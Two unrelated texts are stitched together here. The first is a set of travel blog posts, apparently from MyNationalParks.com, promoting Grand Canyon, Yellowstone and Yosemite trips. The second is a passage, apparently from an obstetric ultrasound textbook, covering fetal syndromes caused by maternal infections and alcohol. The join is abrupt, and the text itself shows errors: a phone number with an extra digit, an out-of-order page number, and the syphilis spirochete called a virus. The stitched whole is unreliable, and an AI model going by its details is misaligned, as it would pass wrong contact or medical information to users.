Spring break is a very busy time for Grand Canyon National Park, so you may try to plan your next visit outside of March and April. For lodging inside the park, contact the authorized concessioner (Xanterra Parks & Resorts) at (888) 297-27257. Xanterra can also assist you with your mule ride and Phantom Ranch reservations. For helicopter tours, contact Papillon Tours at 888) 635-7272. For jeep tours, call Grand Canyon Jeep & Safari Tours at 800-320-5337. For Grand Canyon whitewater rafting adventures, contact Grand Canyon Whitewater at 888-343-3121. These respected lodging and tour operators will be happy to help you plan your once-in-a-lifetime Grand Canyon adventure! People from all over the world are planning their next Grand Canyon vacation now, so you should too. Don’t wait – plan early and take advantage of the best availability for lodging and activities!
Introduction to Yellowstone National Park
Image January 25, 2015 January 25, 2015 MyNationalParks.com Admin
Yellowstone National Park North Entrance
Welcome to America’s first national park! Yellowstone was established in 1872 by act of Congress, and today the park encompasses more than 2.2 million acres of wilderness. Yellowstone is a diverse ecosystem that is home to a variety of species of wildlife including grizzly and black bears, wolves, elk, moose, bison, bighorn sheep, mountain goats, and many others. The park also contains the world’s largest concentration of geysers, including the world-famous Old Faithful Geyser.
There are five entrances to the park – north, south, east, west, and northeast. The road system inside Yellowstone National Park is laid out like a figure eight with the upper loop covering the northern half of the park and the lower loop traversing the southern half. There are several lodging options from which to choose inside the park including the Old Faithful Inn, Canyon Lodge, Lake Hotel, Mammoth Hot Springs Hotel, Roosevelt Lodge, Grant Village, Lake Lodge Cabins, Old Faithful Snow Lodge, and Old Faithful Lodge Cabins. Lodging inside the park often sells out months in advance due to the popularity of Yellowstone. However, there are also excellent lodging options just outside of the west and north park entrances. West Yellowstone, Montana (the west entrance) offers a variety of lodging options along with attractions such as the Yellowstone IMAX Theater, the Grizzly & Wolf Discovery Center, and the Yellowstone Museum. Gardiner, Montana (the north entrance) also offers convenient lodging just a few miles north of Mammoth Hot Springs. For those visitors who feel lucky, there are casinos with keno machines and live poker tables in West Yellowstone and Gardiner.
While you’re certain to see wildlife from the road as you drive through the park, you should consider a hike into the wilderness. Even if it’s only a short hike off the road, you’ll see and experience the park from a different perspective if you venture into the wild. Stay on the trails and following directions provided on trail signs. Also, don’t forget your camera as you may see one of the countless natural wonders that Yellowstone has to offer.
There are a number of other activities that visitors may choose to experience including white water rafting in Gardiner, horseback rides in the park, guided tours, and the Roosevelt western cookout. We recommend that you plan to visit the park for at least five days in order to comfortably explore all of its regions and major attractions. Be sure to visit the Old Faithful geyser basins, Norris Geyser Basin, Mammoth Hot Springs, the petrified forest, the Grand Canyon of the Yellowstone, Lamar Valley, Hayden Valley, Fishing Bridge, and the mud volcano. There’s so much to see, and the adventure of a lifetime awaits you. Don’t delay, plan your next Yellowstone National Park adventure today! For more information about the park, visit our Yellowstone National Park website at http://www.mynationalparks.com.
Yosemite National Park Popular as a Vacation Destination
January 25, 2015 January 25, 2015 MyNationalParks.com Admin
If you’re considering a national park vacation this summer, add Yosemite to your list. Established in 1890, Yosemite National Park includes 747,956 acres of scenic land. The park receives more than 3.5 million visitors each year, so it’s wise to plan early if you’re interested in an overnight stay. Lodging in the park can sell out months in advance due to its popularity.
Yosemite National Park offers visitors an abundance of outdoor opportunities such as hiking, rock climbing, camping, mule rides, backpacking, biking, fishing, bird watching, and more. Even if you’re a novice in the outdoors, classes and guided experiences are available to make Yosemite’s outdoor opportunities accessible to all. For example, Yosemite is known for its world-class rock climbing opportunities. For those park visitors interested in a climbing adventure, climbing lessons and guided climbs are available through the park concessioner.
Guided mule rides are another popular activity in Yosemite National Park, and visitors can choose between two-hour and half-day rides. Mule rides are a unique way to experience Yosemite Park, and they offer visitors a way to see more of the park than what can be observed from an automobile. Riders must be at least 7 years of age, at least 44 inches tall, and weigh 225 pounds or less.
The park offers a variety of lodging options including the famous Ahwahnee Hotel, Curry Village, Wawona Hotel, and the Lodge at Yosemite Falls. Lodging inside Yosemite National Park is managed by the authorize concessioner, DNC Parks & Resorts. Just outside the south entrance of the park, visitors can stay at the luxurious Tenaya Lodge. Just outside the west side of Yosemite Park, visitors will find lodging at Yosemite View Lodge and Cedar Lodge in El Portal, California. Due to Yosemite’s popularity, lodging often sells out well in advance. The good news is that there’s still plenty of time left to plan your next national park adventure for this summer. If you start making your plans soon, you should be able to find adequate availability for both lodging and activities. Get out there, and experience your national parks this year!
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Ultrasound Features of Fetal Syndromes
Maternal Infections, 542
Fetal Cytomegalovirus Infection, 542
Fetal Parvovirus B19 Infection, 543
Fetal Rubella Syndrome, 544
Fetal Syphilis, 545
Fetal Toxoplasmosis Syndrome, 546
Fetal Varicella Zoster, 547
Teratogens, 548
Fetal Alcohol Syndrome/Fetal Alcohol Effects, 548
Fetal Valproic Acid Syndrome, 550
Fetal Warfarin Syndrome, 551
Maternal Diabetes/Caudal Regression Syndrome, 551
Central Nervous System, 553
Aicardi Syndrome, 553
Meckel Syndrome, 554
Lissencephaly, 556
Septo-optic Dysplasia, 557
Tuberous Sclerosis, 558
L1 Syndrome, 560
Cranium/Face, 561
Craniosynostoses, 561
Facial Anomalies, 566
Musculoskeletal System , 573
Skeletal Dysplasias
Other Lethal Skeletal Dysplasias, 580
Vertebral Anomalies, 583
Upper Extremity Anomalies, 585
Lower Extremity Anomalies, 589
Thorax, 590
Congenital High Airway Obstruction Syndrome, 590
Cornelia de Lange Syndrome, 592
Donnai-Barrow Syndrome, 592
Fryns Syndrome, 592
Pallister-Killian Syndrome, 593
Scimitar Syndrome, 594
Heart, 594
22q11.2 Deletion Syndrome, 595
Alagille Syndrome, 596
CHARGE Syndrome, 597
Heterotaxy Syndromes, 598
Holt-Oram Syndrome, 601
Noonan Syndrome, 601
Pentalogy of Cantrell, 603
Gastrointestinal System/Abdominal Wall, 605
Gastrointestinal System Disorders, 605
Abdominal Wall Defects, 607
Genitourinary Tract, 611
Renal Tract Anomalies, 611
Genital Anomalies, 613
Abnormal Fetal Movement, 613
Antley-Bixler Syndrome, 613
Caudal Regression Syndrome, 613
Congenital Ichthyosis, 613
Congenital Myasthenic Syndromes, 614
Congenital Myotonic Dystrophy, Type 1, 614
Fetal Akinesia, 615
Freeman-Sheldon Syndrome, 617
Prader-Willi Syndrome, 617
Fetal Overgrowth, 618
Bannayan-Riley-Ruvalcaba Syndrome, 618
Beckwith-Wiedemann Syndrome, 607
Klippel-Trenaunay Syndrome, 619
Megalencephaly-Polymicrogyria-Polydactyly-Hydrocephalus Syndrome, 619
Perlman Syndrome, 620
Proteus Syndrome, 620
Simpson-Golabi-Behmel Syndrome, 621
Sotos Syndrome, 622
Weaver Syndrome, 622
Fetal Growth Restriction, 623
Russell-Silver Syndrome, 623
Seckel Syndrome, 623
Microdeletion Syndromes, 624
Deletion 4p (Wolf-Hirschhorn Syndrome), 624
Deletion 5p (Cri du Chat Syndrome), 625
Deletion 11q (Jacobsen Syndrome), 625
Deletion 22q11.2 (DiGeorge Syndrome), 626
Metabolic Syndromes, 626
Neu-Laxova Syndrome, 626
Smith-Lemli-Opitz Syndrome, 626
Zellweger Syndrome, 627
Other Malformations, 628
Amniotic Band Sequence, 628
VACTERL Association, 631
Summary of Key Points
Congenital anomalies can occur in isolation or be indicative of a more extensive underlying process.
The presence of a congenital anomaly should prompt a thorough evaluation for other anomalies and consideration of additional advanced fetal imaging.
When an underlying global process is suspected, genetic testing is indicated and a geneticist or genetic counselor should be involved.
With advances in molecular diagnostics, fetal syndromes are more readily diagnosed by use of both chromosomal microarray and next-generation sequencing technologies.
When fetal syndromes are diagnosed prenatally, a multidisciplinary team should assist in counseling and care coordination for expectant parents.
Confirmation of an underlying genetic alteration leading to the observed fetal anomalies can both assist in diagnosis as well as provide information crucial for future reproductive planning.
Prenatally, a congenital anomaly is suspected when images of a fetal organ differ from the expected development for a given gestational age. A congenital anomaly can result from a malformation (an intrinsically abnormal developmental process), deformation (normal development with extrinsic forces), disruption (breakdown of previously normal tissue), or dysplasia (an abnormal organization of cells within tissues which may disrupt more than one organ) ( Fig. 16-1 ). Whenever one congenital anomaly is present, a thorough search for other anomalies and unusual findings (i.e., accelerated or restricted fetal growth, abnormal amniotic fluid levels, altered fetal movements) should be undertaken. Additional imaging modalities may be helpful in completing the full fetal assessment including three-dimensional (3D) ultrasound studies, Doppler interrogations, and fetal magnetic resonance imaging (MRI).
FIGURE 16-1
Errors of morphogenesis.
(From Nyhan WL: Structural abnormalities: a systematic approach to diagnosis. Clin Symp 42(2):1-32, 1990, Plate 1, used with permission ©CIBA-GEIGY.)
The presence of congenital anomalies should prompt consideration of underlying global disorders, especially when several imaging findings are present. Multiple findings may be the result of a sequence, syndrome, or association. In a sequence, a group of anomalies is caused by an initial malformation, deformation, or disruption (i.e., amniotic band sequence). In a syndrome, a group of anomalies is the result of an underlying genetic cause and is pathogenetically related (i.e., Down syndrome). In an association, a given set of anomalies occurs together more frequently than can be explained by chance and the particular anomalies are not known to be the result of a sequence or syndrome (i.e., VACTERL association [ v ertebral anomalies, a nal atresia, c ardiac anomalies, t racheoesophageal fistula or e sophageal atresia, r enal/urinary anomalies, and l imb defect]).
As molecular diagnostic technologies have become more refined and accessible, fetal syndromes are more readily diagnosed in both prenatal and postnatal settings. Prenatally, when a congenital anomaly is seen, chromosomal microarray is now recommended as the first-line test. In addition to aneuploidy, chromosomal microarray allows detection of microdeletion and microduplication syndromes and leads to the identification of approximately 5% more cytogenetic abnormalities than can be seen on conventional karyotype alone ( Fig. 16-2 ). However, many syndromes are single gene disorders and cytogenetic testing by both karyotype and chromosomal microarray will be normal. For many of these disorders, individual gene testing and gene panel testing is now available. Cost and time to obtain fetal DNA results prenatally still remain a significant hurdle for many syndromes suspected on prenatal imaging. The prenatal diagnostician should work closely with neonatal care providers to assure completion of a genetic workup.
Examples of genomic imbalances detected by a chromosomal microarray but not by karyotyping. A, A 10.9-Mb deletion, including more than 60 genes. The deletion includes the Williams-Beuren syndrome region at chromosome region 7q11. The arrow is pointing to the deleted chromosome that was observed by retrospective analysis of G-banded slides. B, A 7.2-Mb duplication on the long arm of chromosome 11. Again, the arrow is pointing to the chromosome that has the duplication shown by the darker G-positive band.
(From Miller DT, Adam MP, Aradhya S, et al: Consensus statement: chromosomal microarray is a first-tier clinical diagnostic test for individuals with developmental disabilities or congenital anomalies. Am J Hum Genet 86(5):749-764, 2010.)
In the following pages, we review fetal syndromes that are potentially detectable based on prenatal imaging findings and group them by prominent features (either the body system affected or some other hallmark such as altered fetal growth or movement). The review is not exhaustive but serves to highlight fetal syndromes commonly encountered by sonologists and sonographers and presents relevant imaging findings and genetics. Fetal syndromes often come to initial clinical attention based on screening prenatal ultrasound imaging; further imaging with 3D sonography and fetal MRI (especially for evaluation of the central nervous system [CNS]) can aid in delineation of additional features. Other specialties, including genetics, maternal-fetal medicine, and pediatric subspecialties (i.e., cardiology, surgery), can then assist with specialized testing, obstetric care, and postpartum planning for patients continuing with their pregnancies. These providers can give a clear overview of the anticipated process to the parents and convey the time and complexities of reaching a specific diagnosis for the fetus or child.
Given the rapid evolution in genetic testing, involvement of the genetics team is particularly important to assure that the most appropriate diagnostic testing is performed either in the prenatal or postnatal period. For many single gene disorders, multiple causative mutations within one gene have been identified. At times, the mutation may be unique or “private” to the family themselves. Completion of genetic studies provides not only confirmation of the diagnosis but an opportunity for the family to utilize the information in future reproductive planning.
Maternal Infections
Fetal Cytomegalovirus Infection
Fetal cytomegalovirus (CMV) infection is a congenital disorder characterized by hydrops, ascites, and ventriculomegaly caused by transplacental transmission of CMV to the fetus. The double-stranded DNA herpes group virus causes a mild infection or a mononucleosis-type illness in young healthy adults, chronic disease in older adults, and mild to severe congenital infection. Congenital infection is mostly caused by maternal primary infection.
Fetal cytomegalovirus infection is also known as congenital cytomegalovirus infection.
Cytomegalovirus (a double-stranded DNA herpes group virus) is the cause of the infection.
Congenital CMV infection occurs in approximately 1% of all deliveries and is the most common congenital infection. Intrauterine transmission of CMV takes place in approximately 40% of infections, and approximately 10% of liveborn infants have symptomatic disease at the time of birth and later.
CMV infection, as well as other congenital infections, should be suspected whenever nonimmune hydrops is found. Other suggestive findings include intracranial calcifications and intracranial hemorrhage, microcephaly, brain atrophy, abnormal periventricular echogenicities, intraparenchymal foci, ventriculomegaly, intraventricular adhesions, periventricular pseudocysts, sulcation and gyral abnormal patterns, hypoplastic corpus callosum, cerebellar and cisterna magna abnormalities, signs of striatal artery vasculopathy, splenomegaly, chorioretinitis, occlusion of the foramen ovale, signs of right-sided heart overload from the premature closure, ascites, hyperechoic bowel, fetal growth restriction, and oligohydramnios. Most features can be found by sonography beginning at approximately 20 weeks’ gestation. Whenever maternal infection is confirmed, polymerase chain reaction (PCR) testing of amniotic fluid should be performed. PCR testing of amniocentesis samples should be performed after a 6-week interval following the diagnosis of maternal infection and is most sensitive after 21 weeks’ gestation. The diagnosis can also be made by histologic study of typical inclusion bodies in biopsy or autopsy specimens. Focal sonographic periventricular increased echogenicity associated with mild ventriculomegaly, without any abnormalities of the cerebral and cerebellar organogenesis or cephalic biometry alteration in the third trimester of pregnancy, should be considered a marker of encephalitis following CMV infection. Fetal MRI is a useful adjunct in the evaluation of intrauterine infection with CMV.
The exact mode of transplacental passage is uncertain. The virus replicates in fetal tissues, producing inflammation, tissue necrosis, and organ dysfunction. CMV hepatitis in the neonate can present with an intense inflammatory response involving the portal triads. In these cases, lobular disarray, degeneration of hepatocytes, and cholestasis are also seen. The cause of ascites in congenital CMV infection is not certain. Contributing factors may include low serum protein levels due to hepatic dysfunction and portal obstruction resulting from periportal inflammation.
Associated Anomalies
Isolated ascites is an uncommon finding in fetuses with CMV infection but may occur. Cardiovascular, gastrointestinal (GI), musculoskeletal, and ocular lesions may be found in association with the classic features. Petechiae, sensorineural hearing loss, and poor intellectual development may also occur after birth.
Because ascites is often the first manifestation of hydrops, the differential diagnosis for fetal ascites is essentially the same as with generalized hydrops, which includes many congenital infections. Conditions that present with intracranial calcifications (such as tuberous sclerosis), hyperechoic bowel (cystic fibrosis and Down syndrome), and hepatomegaly (primary liver disease or extramedullary hematopoiesis) should be considered.
In general, neonates with symptomatic CMV infection do poorly, with a neonatal mortality rate of 5%, and 50% to 60% of survivors suffer severe long-term neurologic morbidity. CMV hepatitis is reversible in survivors, but intellectual disability, motor deficits, and hearing loss are expected long-term sequelae. Late sequelae, such as sensorineural hearing loss and neurodevelopmental disorders, occur in 10% to 15% of infants lacking symptoms at birth. Pediatric neurologic morbidity is related to the degree of antenatal ventriculomegaly and, when greater than 15 mm, is associated with an increase in abnormal neurologic development. A normal ultrasound examination does not exclude the possibility of symptoms in the newborn or long-term complications.
Recurrence Risk
Given that viral infection confers immunity in most patients, there is only a small theoretical risk of reinfection in another pregnancy.
Termination of pregnancy can be offered before viability. If continuation of the pregnancy is chosen, follow-up with ultrasound examinations every 2 to 4 weeks is recommended to monitor for growth restriction, hydrops, and other fetal manifestations. Antiviral medications have not been shown to decrease the rate of perinatal transmission. Trials are under way for treatment of pregnant women with CMV infection early in pregnancy with hyperimmunoglobulin therapy.
Sonogram of a second trimester fetus with proven cytomegalovirus infection. Hepatic calcifications ( arrows ) are seen as well as fetal ascites ( asterisk ).
Fetal Parvovirus B19 Infection
Infection with parvovirus B19 causes erythema infectiosum and is a common childhood illness characterized by a “slapped cheek” facial appearance and a lacy erythematous rash on the trunk and extremities. Patients may have systemic symptoms prior to the appearance of the rash, including arthropathy.
Fetal parvovirus B19 infection is also known as fifth disease.
Acute maternal parvovirus B19 viremia leads to transplacental passage of the B19 virus and subsequent fetal infection.
Acute parvovirus B19 infection occurs in 3% to 4% of pregnant women, with the highest infection rates in school teachers and day care workers. Approximately 35% to 53% of pregnant women have immunity from a prior infection.
The interval between maternal infection and fetal hydrops is about 3 weeks, and 93% of cases of fetal hydrops occur within 8 weeks of maternal diagnosis. Acute infection can lead to fetal loss or hydrops fetalis. Hydrops occurs because parvovirus B19 preferentially infects rapidly dividing cells and is cytotoxic to fetal red blood cell precursors, leading in some cases to severe fetal anemia and subsequent hydrops. Parvovirus B19 can also infect myocardial cells and cause myocarditis; this infection may also initiate apoptosis in cells. The risk of hydrops is greater if infection occurs in the first half of pregnancy. Hydrops can either lead to rapid fetal death or resolve spontaneously (although the rate of spontaneous resolution is uncertain).
In case reports, other congenital abnormalities have been noted, including ocular abnormalities, hydrocephalus, cleft lip/palate, joint webbing, musculoskeletal anomalies, hepatocellular damage, myocarditis, congenital cardiomyopathy, and myositis.
Acute maternal parvovirus infection can be diagnosed by positive IgM serologic findings; IgM can be detected 10 days after infection and may persist for 3 months or longer. IgM can be falsely negative, however, and failure to detect IgM antibodies therefore does not rule out B19 infection. Parvovirus B19 IgG develops several days after IgM and indicates past infection. Maternal B19 viremia can also be confirmed by PCR with improved sensitivity. Fetal parvovirus infections can be confirmed by PCR for B19 DNA in amniotic fluid.
Differential diagnosis includes other conditions leading to nonimmune hydrops in the fetus.
Risk of fetal death is largely limited to parvovirus B19 infections diagnosed in the first half of pregnancy (13% in first trimester, 9% from weeks 13 to 20, and <1% after 20 weeks). Intrauterine transfusion of hydropic fetuses improves prognosis. In addition to fetal anemia, severe fetal thrombocytopenia can occur and lead to exsanguination at the time of intrauterine red blood cell transfusion. Children who survive fetal hydrops generally do well; an increased risk of developmental delay has been reported, but this has not been demonstrated in all studies.
There is virtually no recurrence risk because pathogenesis occurs with primary maternal parvovirus B19 infection.
Pregnant women exposed to parvovirus should have serologic testing for B19 IgM and IgG; positive IgG indicates maternal immunity, and the fetus should be protected. A positive IgM antibody indicates acute infection. Fetal intervention prior to 18 to 20 weeks is often not feasible, and transfusions this early in gestation are associated with an increased risk for fetal loss. Women diagnosed after 20 weeks should receive weekly ultrasound examinations to assess for fetal anemia and hydrops for at least 8 weeks after infection. If severe anemia is detected, intrauterine fetal blood transfusion is indicated.
Parvovirus infection. Ascites ( A ) and pericardial effusions ( B ) in a fetus with anemia due to parvovirus infection. Fetal ascites is often the initial sonographic finding in parvovirus infection.
Fetal Rubella Syndrome
Fetal rubella syndrome is a congenital disorder resulting from primary maternal infection with the rubella virus. It is characterized by deafness, mental retardation, congenital cataract, heart defects, and other structural anomalies found with variable severity and frequency. The rate of congenital infection with acute rubella during pregnancy is higher than 90% in the first 12 weeks of pregnancy, approximately 60% in weeks 13 to 17, 25% in weeks 18 to 24, and increases again during the last month of pregnancy.
Synonyms for fetal rubella syndrome are fetal rubella effects, congenital rubella syndrome, and German measles.
Fetal rubella is caused by an RNA togavirus, which is the only member of the genus Rubivirus . The fetus is infected by transplacental transmission followed by hematogenous spread.
There is no recurrence risk of fetal rubella syndrome.
Cases of fetal rubella syndrome are rare in the United States since 2004 following comprehensive vaccination; however, reinfection after vaccination is possible. There were 13 cases reported in the United States between 2001 and 2004. It remains a clinical issue in other parts of the world.
The most frequent sonographic findings are cardiac malformations (in particular, septal defects), eye defects (cataracts, microphthalmia, and retinopathy), microcephaly, hepatomegaly, splenomegaly, and growth restriction. The risk of congenital defects is limited to maternal infection during the first 16 weeks of pregnancy. Sensorineural hearing loss and developmental delay are also associated with congenital rubella sydrome. The confirmation of fetal infection can be made by isolating rubella viral RNA from amniotic fluid samples and testing using PCR.
Occasionally, the following anomalies can be associated with the classic findings of fetal rubella syndrome: renal disorders, hypospadias, cryptorchidism, meningocele, glaucoma, patent ductus arteriosus, and peripheral pulmonary stenosis.
Other conditions associated with congenital hepatomegaly and cataracts should be considered. This includes other congenital infections (TORCH [ t oxoplasmosis, o ther infections, r ubella, c ytomegalovirus, h erpes simplex]), fetal anemia, fetal liver tumors, chondrodysplasia punctata, Neu-Laxova syndrome (NLS), Smith-Lemli-Opitz (SLO) syndrome, and Walker-Warburg syndrome.
Spontaneous abortion and intrauterine death may occur. The postnatal impact of intrauterine infection varies from absence of any defect to all the anomalies mentioned earlier with variable severity. The virus may remain for years in body tissues, causing complications of chronic infection (such as diabetes mellitus from chronic viropathy of the pancreas).
Termination of pregnancy should be discussed when fetal infection is detected during the first trimester, owing to the severity of the condition in this group. After viability, monthly ultrasound examinations for growth and follow-up of the anomalies are recommended.
Women found to be rubella nonimmune during pregnancy should be offered vaccination postpartum prior to discharge from the hospital. Breastfeeding is not a contraindication to vaccination.
Fetal Syphilis
Fetal syphilis is caused by fetal infection with the spirochete Treponema pallidum, which readily crosses the placenta leading to fetal infection.
A synonym for fetal syphilis is congenital syphilis.
Maternal infection with T. pallidum leads to transplacental transmission of the virus and resultant fetal infection.
Incidence in 2008 was 10.1 cases per 100,000 liveborn infants with many cases found in women without prenatal care. The risk of transmission is higher for primary and secondary syphilis (50%) than for early latent (40%) and late (10%) syphilis. Transmission can occur at any gestational age. The frequency of vertical transmission increases as gestation advances but severity decreases with infection later in pregnancy.
In women with positive syphilis testing, clinical findings concerning for congenital syphilis include growth restriction, as well as liver and placental findings. Signs of liver dysfunction include hepatomegaly and ascites, which can lead to nonimmune hydrops. The placenta is typically large and edematous. Silver-staining of the placenta following delivery is positive for spirochetes. Fetal serologic tests are positive for antitreponemal IgM.
Clinical findings in neonates may include the following:
Early congenital syphilis: hepatomegaly, syphilitic rhinitis (“snuffles”), maculopapular rash, generalized lymphadenopathy, and skeletal abnormalities.
Late congenital syphilis (generally a result of gumma formation in various tissues): facial features (frontal bossing, saddle nose, short maxilla), eye findings (interstitial keratitis, glaucoma, corneal scarring, optic atrophy), sensorineural hearing loss, Hutchinson teeth, mulberry molars, perforation of hard palate, rhagades, gummas, anterior bowing of shins (“saber shins”), and paroxysmal cold hemoglobinuria.
Findings in neonates can resemble other congenital infections.
The severity of fetal effects depends on the duration of infection as well as the stage of development at the time of infection.
Recurrence is likely only if maternal syphilis infection remains untreated.
All women presenting for prenatal care should be evaluated for syphilis infection. If positive, penicillin treatment should be given; regimens vary according to the chronicity of the disease. If the duration of the disease is unknown, three doses of benzathine penicillin given at weekly intervals is recommended. If maternal syphilis is treated at least 30 days prior to delivery, only 1% to 2% of infants will be infected. This rate is greater than 70% if maternal syphilis remains untreated. If maternal syphilis is diagnosed after 20 weeks’ gestation, an ultrasound examination should be obtained to assess for congenital syphilis.
Syphilis. Darkfield micrograph of Treponema pallidum , the organism that causes congenital syphilis.
(From Centers for Disease Control and Prevention: Sexually Transmitted Diseases, 2016. Available at www.cdc.gov/std/syphilis/images.htm .)
Fetal Toxoplasmosis Syndrome
Toxoplasmosis is caused by infection with the protozoan parasite Toxoplasma gondii . Toxoplasmosis is normally asymptomatic in immunocompetent individuals. Acute infections in pregnant women can be transmitted to the fetus and cause severe illness (mental retardation, blindness, and epilepsy). The risk of maternal-fetal transmission increases with gestational age at the time of exposure, whereas the incidence of severe disease decreases.
Fetal toxoplasmosis syndrome is also known as congenital toxoplasmosis.
An estimated 400 to 4000 cases of congenital toxoplasmosis occur annually in the United States. Of the 750 deaths attributed to toxoplasmosis each year, 375 (50%) are believed to be caused by eating contaminated meat, making toxoplasmosis the third leading cause of food-borne deaths in the United States. The incidence of toxoplasmosis acquisition during pregnancy ranges from 1 to 4 per 10,000. Half of fetuses escape the infection, one third have subclinical infection, and about 10% have severe infection.
Fetal toxoplasmosis is caused by transplacental transmission of parasites following maternal primary infection. Transmission from mothers with chronic infection via reactivation is rare but can be caused by immunologic dysfunction. The rate of fetal transmission increases greatly as the gestational age at time of seroconversion increases, with transmission rates of 25%, 54%, and 65%, in the first, second, and third trimesters, respectively.
The fetus is infected hematogenously through the placenta during parasitemia in the mother. Ocular toxoplasmosis causes irreversible damage to the retina in utero. The fetus and infant mount inflammatory responses that may contribute to ocular damage.
The classic triad suggestive of congenital toxoplasmosis includes chorioretinitis, intracranial calcifications, and hydrocephalus. Less common findings include ascites, pericardial and pleural effusions, and intrahepatic densities. However, most infants infected in utero are born with no obvious signs of toxoplasmosis on routine examination, but many develop learning and visual disabilities later in life. If left untreated, congenital toxoplasmosis can be associated with severe and even fatal disease. Other findings include microcephaly, encephalomyelitis, seizures, intellectual disability, ascites, and hepatosplenomegaly. The diagnosis can be made by using PCR to detect of Toxoplasma gondii in amniotic fluid, with increased sensitivity later in pregnancy.
Other TORCH infections should be considered.
Approximately 75% of congenitally infected newborns are asymptomatic.
There is typically no recurrence risk.
Depending on gestational age and whether the fetus is known to be infected, pregnant women have been treated with the antibiotic spiramycin or with sulfadiazine alone or the combination of pyrimethamine and sulfadiazine. Treatment of acute infection during pregnancy has been associated with an approximately 50% reduction in fetal infection.
Toxoplasmosis infection can be prevented in large part by cooking meat to a safe temperature and peeling or thoroughly washing fruits and vegetables before eating. Pregnant women should avoid changing cat litter or, if no one else is available to change the cat litter, use gloves, then wash their hands thoroughly.
Severe dilatation of posterior horns of the lateral ventricles in a fetus with toxoplasmosis infection.
(Courtesy of Julio Cesar Coub, 2006.)
Toxoplasmosis. Intracranial calcifications ( arrows ) in a fetus with toxoplasmosis infection.
Fetal Varicella Zoster
Fetal varicella zoster is characterized by abnormalities of multiple organs caused by fetal infection with varicella following maternal chickenpox infection.
Fetal varicella zoster is also known as congenital varicella syndrome, varicella embryopathy, and chickenpox.
The incidence of maternal varicella infection was 1 to 5 in 10,000 pregnancies in the United States in the 1980s but has decreased since vaccination began in 1995. The risk of fetal involvement among all pregnant women infected with varicella varies from 1% to 20%. First trimester varicella infections have been associated with an increased risk of spontaneous abortion. Second trimester varicella infections have been associated with 2% risk of a congenital syndrome characterized by limb hypoplasia, cutaneous scars, cataracts, microcephaly, and cortical atrophy.
Herpesvirus is the etiologic agent.
Recurrence risk is less than 1%.
Maternal infection at any time in pregnancy exposes the fetus to a high risk of transplacental contamination and warrants follow-up. The risk of fetal anomalies, however, is the greatest from 8 to 20 weeks’ gestation. Sonographic signs of fetal disease include fetal demise, growth restriction, musculoskeletal abnormalities (such as clubfeet and abnormal position of the hands, caused by both necrosis and denervation of the affected tissue), limitation of limb extension due to cicatrices formation, cutaneous scars, limb hypoplasia, chorioretinitis, congenital cataracts, microphthalmia, hydrops, polyhydramnios, hyperechogenic hepatic foci, cerebral anomalies (such as ventriculomegaly or atrophy and microcephaly), disseminated foci of necrosis and microcalcifications, encephalitis, and echogenic bowel in the second trimester. The placenta can show a multifocal chronic villitis with multinucleated giant cells. Fetal infection can be demonstrated by detection of varicella zoster virus DNA by PCR in fetal blood and amniotic fluid.
Maternal viremia leads to placental infection with subsequent fetal transmission. Direct damage occurs to fetal tissues by the neurotropic varicella virus.
Congenital anomalies in multiple organs with variable severity can be seen in varicella embryopathy. Among survivors, intellectual disability, seizures, and limitation of movements may develop after birth. The virus may cause serious infections, particularly pneumonia, in adult women.
Other viral infections, vascular accidents, and amniotic band syndrome should be considered.
The severity of fetal involvement varies from dermatologic lesions to lethal disseminated disease. Limited scarring tends to have an excellent prognosis. Fetal brain disruptions, or severe maternal varicella with development of lethal maternal pneumonia and encephalitis, are indicators of an extremely high risk for fetal demise. The rate of fetal demise varies from 39% to 61%. Maternal infection in the first and early second trimester has a higher association with fetal anomalies, whereas third trimester infections have a higher risk for varicella zoster development at the neonatal period. A life-threatening illness may occur in the newborn when delivery occurs within 5 days of the onset of maternal illness.
Termination of pregnancy can be offered before viability. If continuation of the pregnancy is chosen, ultrasound follow-up is recommended to assess for fetal anomalies, limb contractures, and other signs of fetal compromise. If maternal seroconversion is suspected for varicella zoster, prenatal sonography and MRI may document the extent of tissue damage and assist in counseling. After a therapeutic abortion, fetal infection can be confirmed by detection of varicella zoster viral DNA in fetal tissues and the placenta, as well as by histopathologic findings such as miliary calcified necroses in fetal organs.
Serologic testing and vaccination should be offered to women of childbearing age, and women should be questioned prior to conception about varicella immunity. Susceptible pregnant patients should be counseled to avoid contact with individuals who have chickenpox. If exposure occurs, varicella zoster immunoglobulin should be administered within 96 hours in an attempt to prevent maternal infection. Susceptible neonates should also receive varicella zoster immunoglobulin. Acyclovir is active against the varicella zoster virus, and treatment is indicated in seriously ill adults and neonates.
Varicella zoster infection. The fetal face at autopsy (26 weeks). Note the collapsed cranium, intact skin (very little maceration), disproportionate necrosis of the ocular globes, and flattened midface.
(Courtesy of R.R. Lebel, 1992.)
Fetal Alcohol Syndrome/Fetal Alcohol Effects
Alcohol use during pregnancy results in a spectrum of adverse outcomes known as fetal alcohol spectrum disorders. Fetal alcohol syndrome (FAS) is one of these disorders. FAS is characterized by specific facial abnormalities and significant impairments in neurodevelopment and physical growth. Children exposed to alcohol (approximately 45 to 50 g of ethanol per day or equivalent) in utero suffer from growth and mental retardation, physical abnormalities, and immune dysfunction. There is no “threshold,” so some fetuses exhibit signs of fetal alcohol effects at lower exposure. Recommendations for clinicians regarding assessment of thresholds published by the National Institute on Alcohol Abuse and Alcoholism recommend that any woman who reports drinking more than seven drinks per week or more than three drinks on any given day be further assessed for risk of developing alcohol-related problems.
FAS is one of the fetal alcohol spectrum disorders.
The incidence of FAS ranges from 2 to 30 per 10,000 live births. FAS is the most common cause of intellectual disability in the United States and is thought to occur in 0.5 to 2.0 in 1000 births. The true extent of teratogenic injury from alcohol exposure exceeds the clinically recognized prevalence of FAS, because behavioral and physical teratogenesis may be present in the absence of full expression of the syndrome.
Etiology/Pathogenesis
FAS is caused by direct toxicity of alcohol and its metabolites that cross the placenta and are not detoxified by the fetal liver. Alcohol is a teratogen and inflicts irreversible damage on the CNS. The rate of alcohol elimination from the fetal compartment is only 3% to 4% that of the maternal rate. Alcohol has fetal effects in all trimesters of pregnancy.
The findings include microcephaly, long round philtrum, small micrognathia, cleft palate, suppression of the cupid arch, microphthalmia, microcephaly, dysgenesis of the corpus callosum, malformed ears, atrial septal defect (ASD), ventricular septal defect (VSD), and growth restriction predominantly involving the limbs and occurring early without oligohydramnios. This lack of specificity suggests that the FAS facies may be a common teratogenic expression of exposure to a variety of substances occurring during a defined period of fetal development.
Other conditions that involve growth restriction and microcephaly, such as congenital infections and chromosomal anomalies, should be considered.
